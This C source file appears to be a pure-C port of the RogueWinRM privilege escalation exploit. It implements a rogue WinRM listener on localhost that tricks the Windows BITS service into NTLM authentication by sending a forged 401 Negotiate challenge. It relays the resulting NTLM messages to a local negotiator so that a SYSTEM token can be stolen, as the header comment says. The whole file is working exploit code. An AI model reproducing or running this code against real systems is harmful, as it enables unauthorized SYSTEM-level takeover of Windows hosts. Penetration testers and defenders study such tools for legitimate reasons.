/**
	This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
	in  particular for the local negotiator.
	See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
	for how I emulated a class in pure C.

	This class defines the rogue WinRM server and inherits from service.c (methods and arguments).
	This class is in charge of handling BITS connection attempt by sending it a 401 NTLM authentication
	challenge response. When BITS authenticates to our rogue WinRM service, this service creates a
	security context in the local negotiator object (see localNegotiator.c) which will be used to
	steal a SYSTEM token.
*/

#include "..\pch.h"

#define DEFAULT_BUFLEN 4096



/**
	Constructor of the elevatorServer class. Setup the addresses of class methods,
	initialize some arguments, and call the constructor of base server (service.c)

	@param		elevatorServer* this			Address of the instantiated object.
	@param		char*			listen_address	Address of IP (as string)
	@param		char*			listen_port		Address of port (as string)
	@param		BOOL			debug			TRUE or FALSE. Defined in main/dllmain
 */
void initElevatorService(elevatorServer* this, char* listen_address, char* listen_port)
{
	ZeroMemory(this, sizeof(elevatorServer));

	this->destruct = &destructElevatorService;
	this->socketError = &elevatorSocketError;
	this->handleNTLMPConnection = &handleNTLMPConnection;
	this->computeNtlmsspRequest = &compute_ntlmssp_request;
	this->forgeNtlmsspChallengeResponses = &forge_ntlmssp_challenge_responses;
	this->generateNegTokenTarg = &genNegTokenTarg;

	// Instantiation of base server
	this->baseServer.construct = &initService;
	this->baseServer.construct(&this->baseServer, listen_address, listen_port);

	return;
}



/**
	free allocated memory and call the destructor of base server (service.c)

	@param		elevatorServer* this	Address of the instantiated object.
 */
void destructElevatorService(elevatorServer* this)
{
	this->baseServer.destruct(&this->baseServer);
	return;
}




/**
	Main entry point called by RunRogueWinRM. This function create a rogue WinRM
	object by allocating memory for handle it, setting its constructor and calling it.
	Then, makes it listening for incoming connections.

	@param		LPVOID threadParameters		Main parameters used by the rogue WinRM server.
											contains a blank local negotiator object (localNegotiator.c)
											and debug boolean used to print network packets.
 */
void handleListener(LPVOID threadParameters)
{
	elevatorServer Server;
	THREAD_PARAMETERS* thread_params;
	thread_params = (THREAD_PARAMETERS*)threadParameters;
	LocalNegotiator* negotiator = thread_params->negotiator;

	Server.construct = &initElevatorService;
	Server.construct(&Server, "127.0.0.1", thread_params->winrm_port);
	dprintf("[handleListener] Rogue WinRM service now listening for connection on port %s.", thread_params->winrm_port);

	handleNTLMPConnection(&Server, negotiator);
	Server.destruct(&Server);
	return;
}



/**
	Handle the NTLM connection when BITS server shoots our rogue WinRM service:
		- Receive the first NTLMP negotiate packet (NTLMP 1) from BITS
		- Calls a security context through HandleType1 method of localNegotiator object (localNegotiator.c)
		- sends a 401 challenge authentication response to force BITS client to authenticate (NTLMP 2)
		- Receive the authentication packet from BITS (NTLMP 3)
		- Calls a security context through HandleType3 method of localNegotiator object (localNegotiator.c)
		- Shutdown the server and return, which terminate the thread where it was launched.

	@param		elevatorServer*		this		Address of the instantiated object
	@param		LocalNegotiator*	negotiator	Address of the localNegotiator object (localNegotiator.c)
 */
static void handleNTLMPConnection(elevatorServer* this, LocalNegotiator* negotiator)
{
	int recvbuflen = DEFAULT_BUFLEN;
	char recvbuf[DEFAULT_BUFLEN] = { 0 };
	int iResult = -1;
	int http_response_type2_packet_len = 0;
	char* http_response_type2_packet = NULL;
	char* ntlmssp_type2 = NULL;
	unsigned char* ntlmssp_authorization = NULL;
	unsigned char* spnego_NegTokenTarg_response = NULL;
	unsigned char* ntlmssp_request = NULL;
	unsigned short spnego_NegTokenTarg_response_len = 0;
	unsigned short ntlmssp_type2_len = 0;
	unsigned short ntlmssp_request_len = 0;
	unsigned short ntlmssp_authorization_len = 0;
	unsigned short base64_ntlmssp_authorization_len = 0;
	byte base64_ntlmssp_authorization[4192] = { 0 };
	BOOL spnegoResult = FALSE;

	iResult = recv(this->baseServer.socket, recvbuf, recvbuflen, 0);
	if (iResult <= 0) { this->socketError(this, "[handleNTLMPConnection] ERROR: error while receiving data"); }
	dprintf("[handleNTLMPConnection] Received http negotiate request.");
	hexDump_if_debug_env(NULL, recvbuf, iResult);

	compute_ntlmssp_request(this, recvbuf, iResult, &ntlmssp_request, &ntlmssp_request_len);

	//calling AcceptSecurityContext() on the challenge request
	negotiator->processNtlmBytes(negotiator, (char*)ntlmssp_request, ntlmssp_request_len);
	ntlmssp_type2 = negotiator->returnType2(negotiator, &ntlmssp_type2_len);
	http_response_type2_packet = forge_ntlmssp_challenge_responses(this, (unsigned char*)ntlmssp_type2, ntlmssp_type2_len, &http_response_type2_packet_len);
	
	dprintf("[handleNTLMPConnection] Sending the 401 http response with ntlm type 2 challenge...");
	iResult = send(this->baseServer.socket, http_response_type2_packet, http_response_type2_packet_len - 2, 0);
	free(http_response_type2_packet);
	http_response_type2_packet = NULL;
	if (iResult <= 0) this->socketError(this, "[handleNTLMPConnection] ERROR: error while sending data.");
	dprintf("[handleNTLMPConnection] 401 http response sent.");

	iResult = recv(this->baseServer.socket, recvbuf, 4096, 0);
	if (iResult <= 0) this->socketError(this, "[handleNTLMPConnection] ERROR: error while receiving data.");
	dprintf("[handleNTLMPConnection] SUCCESS: Received http packet with ntlm type3 response.");
	hexDump_if_debug_env(NULL, recvbuf, iResult);

	dprintf("[handleNTLMPConnection] Using ntlm type3 response in AcceptSecurityContext()...");
	findBase64Negotiate(recvbuf, iResult, base64_ntlmssp_authorization, &base64_ntlmssp_authorization_len);
	spnego_NegTokenTarg_response = base64_decode((const char*)base64_ntlmssp_authorization, base64_ntlmssp_authorization_len, &spnego_NegTokenTarg_response_len);
	if (!spnego_NegTokenTarg_response) { this->socketError(this, "[handleNTLMPConnection] Error while b64 decoding ntlm type3 challenge response token."); }
	spnegoResult = parseNegToken(spnego_NegTokenTarg_response, spnego_NegTokenTarg_response_len, &ntlmssp_authorization, &ntlmssp_authorization_len);

	negotiator->processNtlmBytes(negotiator, (char*)ntlmssp_authorization, ntlmssp_authorization_len);

	dprintf("[handleNTLMPConnection] Shutting down RogueWinRM service properly...");
	free(spnego_NegTokenTarg_response);
	spnego_NegTokenTarg_response = NULL;
	shutdown(this->baseServer.socket, SD_SEND);
	WSACleanup();
	dprintf("[handleNTLMPConnection] RogueWinRM service is now down.");
	return;
}



/**
	Generate a challenge response http packet in order to force BITS client to authenticate
	to our rogue WinRM server.

	@param		elevatorServer*		this							Address of the instantiated object
	@param		unsigned char*		ntlmssp_type2					contains "NTLMSSP"
	@param		unsigned short		ntlmssp_type2_len
	@param		int*				http_response_type2_packet_len	address which will receive the length of challenge response packet to be sent
 */
static char* forge_ntlmssp_challenge_responses(elevatorServer* this, unsigned char* ntlmssp_type2, unsigned short ntlmssp_type2_len, int* http_response_type2_packet_len)
{
	const char http_response_type2_head[] = "HTTP/1.1 401 \r\nWWW-Authenticate: Negotiate ";
	const char http_response_type2_tail[] = "\r\nServer: Microsoft-HTTPAPI/2.0\r\nContent-Length: 0\r\n\r\n";
	char* http_response_type2_packet = NULL;
	char* ntlmssp_type2_full = NULL;
	unsigned short ntlmssp_type2_full_len = 0;
	char* ntlmssp_type2_b64 = NULL;
	unsigned short ntlmssp_type2_b64_len = 0;
	BOOL spnegoResult = FALSE;

	//forging ntlmssp challenge responses
	dprintf("[forge_ntlmssp_challenge_responses] Forging http response type2 packet...");
	spnegoResult = this->generateNegTokenTarg(this, (unsigned char*)ntlmssp_type2, ntlmssp_type2_len, (unsigned char**)&ntlmssp_type2_full, &ntlmssp_type2_full_len);
	if (!spnegoResult) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Error while generating challenge response token"); }
	//encoding ntlmssp challenge response
	ntlmssp_type2_b64 = base64_encode((const unsigned char*)ntlmssp_type2_full, ntlmssp_type2_full_len, &ntlmssp_type2_b64_len);
	if (!ntlmssp_type2_b64) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Error while b64 encoding challenge response token"); }
	//forging http response packet 401 with type 2 ntlm chellenge response
	*http_response_type2_packet_len = sizeof(http_response_type2_head) + ntlmssp_type2_b64_len + sizeof(http_response_type2_tail);
	http_response_type2_packet = (char*)calloc(*http_response_type2_packet_len, sizeof(char));
	if (!http_response_type2_packet) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Failed to allocate memory for http_response_type2_packet"); }

	memcpy(http_response_type2_packet, http_response_type2_head, sizeof(http_response_type2_head));
	memcpy((http_response_type2_packet + sizeof(http_response_type2_head) - 1), ntlmssp_type2_b64, ntlmssp_type2_b64_len);
	memcpy((http_response_type2_packet + sizeof(http_response_type2_head) + ntlmssp_type2_b64_len - 1), http_response_type2_tail, sizeof(http_response_type2_tail));

	free(ntlmssp_type2_b64);
	ntlmssp_type2_b64 = NULL;

	free(ntlmssp_type2_full);
	ntlmssp_type2_full = NULL;

	hexDump_if_debug_env(NULL, http_response_type2_packet, *http_response_type2_packet_len);

	return http_response_type2_packet;
}



/**
	Get Negotiate data from first NTLM1 BITS packet.
	to our rogue WinRM server.

	@param		elevatorServer*		this					Address of the instantiated object
	@param		char*				recvbuf					Address of buffer hosting the received packet
	@param		int					iResult					length of previous receiving buffer
	@param		unsigned char**		ntlmssp_request			Address which will receive the address of decoded ntlmssp_request
	@param		unsigned short*		ntlmssp_request_len		Address which will receive the length of previous ntlmssp_request
*/
static void compute_ntlmssp_request(elevatorServer* this, char* recvbuf, int recvbuf_content_length, unsigned char** ntlmssp_request, unsigned short* ntlmssp_request_len)
{
	unsigned short base64spnego_token_len = 0;
	unsigned short spnego_NegTokenInit_request_len = 0;
	unsigned char* spnego_NegTokenInit_request = NULL;
	BOOL spnegoResult = FALSE;
	byte base64_spnego_token[4192] = { 0 };

	if (recvbuf_content_length + 1 > 4192) { this->socketError(this, "[compute_ntlmssp_request] ERROR: base64_spnego_token buffer overflow."); }
	
	//parsing the base64 of SPNEGO request
	if (!findBase64Negotiate(recvbuf, recvbuf_content_length, base64_spnego_token, &base64spnego_token_len))
		this->socketError(this, "[compute_ntlmssp_request] ERROR: Negotiate token not found in NTLM1 request.");

	//decoding the base64 of SPNEGO NegTokenInit
	spnego_NegTokenInit_request = base64_decode((const char*)base64_spnego_token, base64spnego_token_len, &spnego_NegTokenInit_request_len);
	if (!spnego_NegTokenInit_request) { this->socketError(this, "[compute_ntlmssp_request] ERROR: error while b64 decoding ntlm type1 challenge response token."); }

	//parsing the ntlmssp from the SPNEGO NegTokenInit token
	spnegoResult = parseNegToken(spnego_NegTokenInit_request, spnego_NegTokenInit_request_len, ntlmssp_request, ntlmssp_request_len);
	if (!spnegoResult) { this->socketError(this, "[compute_ntlmssp_request] Error while SPNEGO NegTokenInit token."); }

	return;
}




/**
	Find base64 encoded data of NTLM 1 negotiate request from BITS and put it in a receiving buffer.

	@param		char*			buffer			Pointer to the buffer hosting the NTLM1 packet data
	@param		int				buffer_len		Size of previous buffer argument
	@param		byte*			outbuffer		Pointer to a buffer which will host base64 data
	@param		unsigned short*	outbuffer_len	Size of previous buffer argument

	@return		BOOL							Was B64 negotiate token found or not.
*/
static BOOL findBase64Negotiate(char* buffer, int buffer_content_len, byte* outbuffer, unsigned short* outbuffer_content_len)
{
	const char pattern_head[] = "Negotiate ";
	const char pattern_tail[] = "\r\n";
	char* index_start = strstr(buffer, pattern_head);
	char* index_end = NULL;

	if (index_start == NULL)
		return FALSE;

	index_start += strlen(pattern_head);
	index_end = strstr(index_start, pattern_tail);
	if (index_end == NULL)
		return FALSE;

	*outbuffer_content_len = (unsigned short)(index_end - index_start);
	memcpy(outbuffer, index_start, *outbuffer_content_len);
	outbuffer[*outbuffer_content_len] = 0;
	return TRUE;
}



/**
	In case of server error, properly stop the server and call the destructor.

	@param		elevatorServer*		this				Address of the instantiated object
	@param		char*				error_message		Error message to be displayed
*/
void elevatorSocketError(elevatorServer* this, char* error_message)
{
	this->baseServer.serverStop(&this->baseServer, this->baseServer.socket, error_message);
}



/**
	Don't know what is a "spnego token". Thus, I don't have a f*cking idea of what this function does.
	This function and all spnego modules in folder "spnegotokenhanndler" are inherited from decoder
	proof of concept at https://github.com/antonioCoco/RogueWinRM
*/
static BOOL parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned short* parsedTokenLen)
{
	SPNEGO_TOKEN_HANDLE hSpnegoToken = NULL;
	int nError = 0L;
	unsigned char* pbMechToken = NULL;

	if (spnegoInitFromBinary(token, tokenSize, &hSpnegoToken) != SPNEGO_E_SUCCESS)
	{
		dprintf("[parseNegToken] ERROR: Cannot parse SPNEGO NegTokenInit token.");
		return FALSE;
	}

	nError = spnegoGetMechToken(hSpnegoToken, NULL, parsedTokenLen);
	if (SPNEGO_E_BUFFER_TOO_SMALL == nError)
	{

		// Allocate a properly sized buffer and retry.
		pbMechToken = (unsigned char*)malloc(*parsedTokenLen);

		if (spnegoGetMechToken(hSpnegoToken, pbMechToken, parsedTokenLen) != SPNEGO_E_SUCCESS)
		{
			dprintf("[parseNegToken] ERROR: Cannot get MechToken content from SPNEGO NegTokenInit token.");
			return FALSE;
		}
	}
	*parsedToken = pbMechToken;
	return TRUE;
}



/**
	Idem than parseNegToken function. Don't know what is a "spnego token" and don't know what this
	function does.
*/
static BOOL genNegTokenTarg(elevatorServer* this, unsigned char* ntlmssp, unsigned short ntlmssp_len, unsigned char** generatedToken, unsigned short* generatedTokenLen)
{
	unsigned char* pbRespToken = NULL;
	unsigned long ulRespTokenLen = 0L;
	int nError = 0L;
	SPNEGO_TOKEN_HANDLE hSpnegoResponseToken = NULL;
	SPNEGO_MECH_OID spnegoMechOID = spnego_mech_oid_NTLMSSP;
	SPNEGO_NEGRESULT spnegoNegResult = spnego_negresult_incomplete;

	// Create the Token and then extract the binary.
	if (spnegoCreateNegTokenTarg(spnegoMechOID, spnegoNegResult, ntlmssp, ntlmssp_len, NULL, 0L, &hSpnegoResponseToken) != SPNEGO_E_SUCCESS)
	{
		dprintf("[genNegTokenTarg] ERROR: Cannot create SPNEGO NegTokenTarg token.");
		return FALSE;
	}
	if (spnegoTokenGetBinary(hSpnegoResponseToken, NULL, generatedTokenLen) == SPNEGO_E_BUFFER_TOO_SMALL)
	{
		// Now allocate and extract the buffer.
		*generatedToken = (unsigned char*)calloc(*generatedTokenLen, sizeof(char));
		if (!*generatedToken) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Failed to allocate memory for http_response_type2_packet"); }

		nError = spnegoTokenGetBinary(hSpnegoResponseToken, *generatedToken, generatedTokenLen);
		if (SPNEGO_E_SUCCESS == nError)
		{
			return TRUE;
		}
		else
		{
			dprintf("[genNegTokenTarg] ERROR: Cannot convert SPNEGO NegTokenTarg token to binary data.");
			free(*generatedToken);
			*generatedToken = NULL;
			return FALSE;
		}
	}
	dprintf("[genNegTokenTarg] ERROR: Cannot convert SPNEGO NegTokenTarg token to binary data.");
	return FALSE;
}
